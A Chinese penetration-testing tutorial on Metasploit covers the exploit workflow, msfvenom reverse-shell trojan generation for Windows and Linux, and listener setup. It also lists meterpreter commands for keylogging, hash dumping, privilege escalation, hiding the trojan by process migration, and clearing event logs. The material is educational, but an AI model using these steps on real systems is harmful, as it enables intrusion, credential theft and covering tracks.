Msf基础
Metasploit-framework(用ruby写的)基础:
MSF拥有世界上最大的渗透测试攻击数据库
Vulnerability:漏洞统称
expoit:攻击代码或者程序
Payload:完成实际攻击功能的代码
module:组成完整系统的基本构造块,每个模块执行特定任务
运行msf:
1.sudo service postgresql start(开启数据库)
2.msfconsole
msf架构:
msf模块介绍:
Exploit:msf最核心的模块,里面有针对不同操作系统不同服务的攻击,包括mac和andriod
encoders没啥用,编码,自己提供编码倒是可以
evasion:免杀,也没啥用,现在免杀也免不了被杀
Ms17-010:ms指微软17-010指17年编号010的漏洞
msf的基本命令:
命令 | 说明 |
---|---|
Use | 选择渗透攻击模块 |
Show payloads | 查看与该攻击模块相兼容的攻击载荷 |
Set payloads | 设置攻击载荷 |
Set target | 设置目标 |
Show options | 查看需要设置的配置参数 |
Exploit | 实施渗透测试攻击 |
注意:metasploit渗透攻击模块在目录:/usr/share/metasploit-framework/modules/exploits
msf直接渗透
1、根据模块搜集exp:search module
2、根据需要攻击的模块,use切换到对应的expolit内,然后show options
查看需要配置的内容
required显示为yes就是必须要配置的服务
445是smb服务,是windows一定会开启的服务
3、set rhosts ip
(也可以指定文件)配置攻击ip
4、下面两种payload是show payload
查出来的,每个不同的攻击expolit有自己的payloads
Linux(windows)/x64/meterpreter/bind_ipv6_tcp
是(带bind)在服务器开放一个端口等待我方攻击机连接
Linux(windows)/x64/meterpreter/reverse_name_pipe
是(带reverse)是在本地开放一个端口,等待被控服务器主动连接
上述两种最后的name_pipe,ipv6_tcp,tcp,tcp_rc4
的等是指连接的协议
5、set payload Linux(windows)/x64/meterpreter/reverse_name_pipe
配置载荷
Show options
查看需要设置的内容
所以msf远控是先配置expolit,再配置payload
流程为:
search module --> use expolit --> show options --> 配置exp --> show payloads --> set payload … --> show options --> 配置payloads --> expolit
msf的攻击原理:
看[*]是攻击过程:先是在本机开放4444端口
然后调用auxiliary的辅助模块进行扫描
扫描到一台存活的主机,开始攻击
标红代表攻击失败
二、msf远控功能:
命令:msfvenom
生成一个被控端的exe程序,在服务器上的木马程序
Msf -I payloads
列出所有的payload
Msfvenom --list plantform
查看支持生成木马的平台
生成针对windows的远控木马:
1、msfvenom生成木马
Msfvenom -p 指定payload LHOST=攻击机ip地址(别用127.0.0.1) LPORT=连接端口号 -f指定payload输出格式>输出位置和名字
比如:生成windows下反弹shell的木马:
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机ip地址> LPORT=<连接端口号> -f exe > name.exe
生成linux下反弹shell的木马:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击机ip地址> LPORT=<连接端口号> -f elf > name.elf
此处生成的木马是上传至靶机的,所以msfvenom指定的payload要与show options设定的payload一致
2、将木马上传至目标机
3、在msfconsole中进行监听反弹的shell
开启metasploit设置监听参数:
①在metaspolit中使用handler为主动端,hander在exploit/multi
②设置payload,和前面制作木马时使用的payload一致
③设置lhost和lport(和前面制作木马的参数一样)
④expolit监听,等待被控端打开木马
如果攻击成功,会显示开启session会话
Sessions -l
显示开启的session
msf的payload是分两段发送的,先发送核心payload,然后再用这段核心payload下载其他payload,如果连接失败,就会只存在核心payload
监听成功后,shell进入靶机终端
还有很多命令,screenshot
截图,keyscan_start
开启键盘监听,mouse
鼠标等等
lcd
切换本地路径
upload src
. 把src文件上传到靶机当前目录,用来上传后续文件
meterpreter概述
介绍:
·Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。
·例如∶利用远程过程调用(RPC)服务的一个漏洞,当漏洞触发后,我们选择Meterpreter作为攻击载荷,就能够取得目标系统上的一个Meterpreter Shell连接。
·Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希获取、特权提升、跳板攻击等等
技术优势∶
·Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台。
·Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。
·另外,Meterpreter还提供了基于PHP和Java语言的实现。
Reverse_tcp:
meterpreter基本命令
background | 将meterpreter终端隐藏在后台 |
---|---|
sessions | 查看已经成功获取的会话,sessions -i继续与某会话交互 |
shell | 直接获取系统控制台的shell |
irb | 在会话里与Ruby终端进行交互 |
cat | 查看文件内容 |
getwd | 获得目标机当前的工作目录 |
upload | 上传文件 |
download | 下载文件 |
edit | 调用vi编辑器编辑 |
search | 对远程目标机上的文件进行搜索(-d指定其实目录,-f指定搜索文件或者部分文件名) |
隐藏木马方法:进程注入(需要有最高权限)
ps显示当前进程
Migrate -P pid把当前木马进程迁移至pid,通常迁移至系统程序,因为随着迁移程序的关闭,木马也会随之关闭
Session -j -z挂起监听模式,也就是可以继续执行任务,并在后台监听
在攻击完成后,clearev清除事件日志文章来源:https://www.toymoban.com/news/detail-446574.html
其他各种实用命令:
getsystem尝试提权
play播放音乐
portwd端口转发
execute执行文件
sysinfo得到目标系统的一些信息
shutdown关闭目标主机系统程序,因为随着迁移程序的关闭,木马也会随之关闭
mouse click 鼠标左击
mouse rightclick 1 1 在x=1,y=1坐标轴上鼠标右击
hashdump获取账号
getpid 获取当前会话的PID值
kill 终结PID进程
getuid 获得运行meterpreter会话的用户名,查看权限文章来源地址https://www.toymoban.com/news/detail-446574.html
到了这里,关于渗透测试神器-msf基础的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!